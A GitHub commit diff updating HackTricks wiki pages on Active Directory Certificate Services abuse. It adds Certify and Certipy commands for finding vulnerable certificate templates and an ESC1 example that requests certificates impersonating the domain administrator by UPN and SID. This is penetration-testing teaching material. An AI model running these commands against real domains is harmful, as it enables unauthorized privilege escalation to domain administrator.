Skip to content

Commit e5e30fa

Browse files
authored
Merge pull request #1343 from HackTricks-wiki/update_GhostPack_Certify__Abusing_Active_Directory_Certif_20250827_012301
GhostPack/Certify Abusing Active Directory Certificate Servi...
2 parents 4d52d6a + 74a1ba2 commit e5e30fa

2 files changed

Lines changed: 39 additions & 10 deletions

File tree

src/windows-hardening/active-directory-methodology/ad-certificates/README.md

Lines changed: 17 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -108,10 +108,20 @@ AD's certificate services can be enumerated through LDAP queries, revealing info
108108
Commands for using these tools include:
109109

110110
```bash
111-
# Enumerate trusted root CA certificates and Enterprise CAs with Certify
112-
Certify.exe cas
113-
# Identify vulnerable certificate templates with Certify
114-
Certify.exe find /vulnerable
111+
# Enumerate trusted root CA certificates, Enterprise CAs and HTTP enrollment endpoints
112+
# Useful flags: /domain, /path, /hideAdmins, /showAllPermissions, /skipWebServiceChecks
113+
Certify.exe cas [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/hideAdmins] [/showAllPermissions] [/skipWebServiceChecks]
114+
115+
# Identify vulnerable certificate templates and filter for common abuse cases
116+
Certify.exe find
117+
Certify.exe find /vulnerable [/currentuser]
118+
Certify.exe find /enrolleeSuppliesSubject # ESC1 candidates (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)
119+
Certify.exe find /clientauth # templates with client-auth EKU
120+
Certify.exe find /showAllPermissions # include template ACLs in output
121+
Certify.exe find /json /outfile:C:\Temp\adcs.json
122+
123+
# Enumerate PKI object ACLs (Enterprise PKI container, templates, OIDs) – useful for ESC4/ESC7 discovery
124+
Certify.exe pkiobjects [/domain:domain.local] [/showAdmins]
115125

116126
# Use Certipy for enumeration and identifying vulnerable templates
117127
certipy find -vulnerable -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128
@@ -125,8 +135,7 @@ certutil -v -dstemplate
125135

126136
- [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)
127137
- [https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html](https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html)
138+
- [GhostPack/Certify](https://github.com/GhostPack/Certify)
139+
- [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus)
128140

129-
{{#include ../../../banners/hacktricks-training.md}}
130-
131-
132-
141+
{{#include ../../../banners/hacktricks-training.md}}

src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md

Lines changed: 22 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -43,8 +43,19 @@ certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
4343
To **abuse this vulnerability to impersonate an administrator** one could run:
4444

4545
```bash
46-
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
47-
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'
46+
# Impersonate by setting SAN to a target principal (UPN or sAMAccountName)
47+
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local
48+
49+
# Optionally pin the target's SID into the request (post-2022 SID mapping aware)
50+
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator /sid:S-1-5-21-1111111111-2222222222-3333333333-500
51+
52+
# Some CAs accept an otherName/URL SAN attribute carrying the SID value as well
53+
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator \
54+
/url:tag:microsoft.com,2022-09-14:sid:S-1-5-21-1111111111-2222222222-3333333333-500
55+
56+
# Certipy equivalent
57+
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \
58+
-template 'ESC1' -upn 'administrator@corp.local'
4859
```
4960

5061
Then you can transform the generated **certificate to `.pfx`** format and use it to **authenticate using Rubeus or certipy** again:
@@ -152,6 +163,13 @@ Notable permissions applicable to certificate templates include:
152163
153164
### Abuse
154165
166+
To identify principals with edit rights on templates and other PKI objects, enumerate with Certify:
167+
168+
```bash
169+
Certify.exe find /showAllPermissions
170+
Certify.exe pkiobjects /domain:corp.local /showAdmins
171+
```
172+
155173
An example of a privesc like the previous one:
156174
157175
<figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>
@@ -1010,6 +1028,8 @@ Both scenarios lead to an **increase in the attack surface** from one forest to
10101028
## References
10111029
10121030
- [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/)
1031+
- [GhostPack/Certify](https://github.com/GhostPack/Certify)
1032+
- [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus)
10131033
10141034
{{#include ../../../banners/hacktricks-training.md}}
10151035

0 commit comments

Comments
 (0)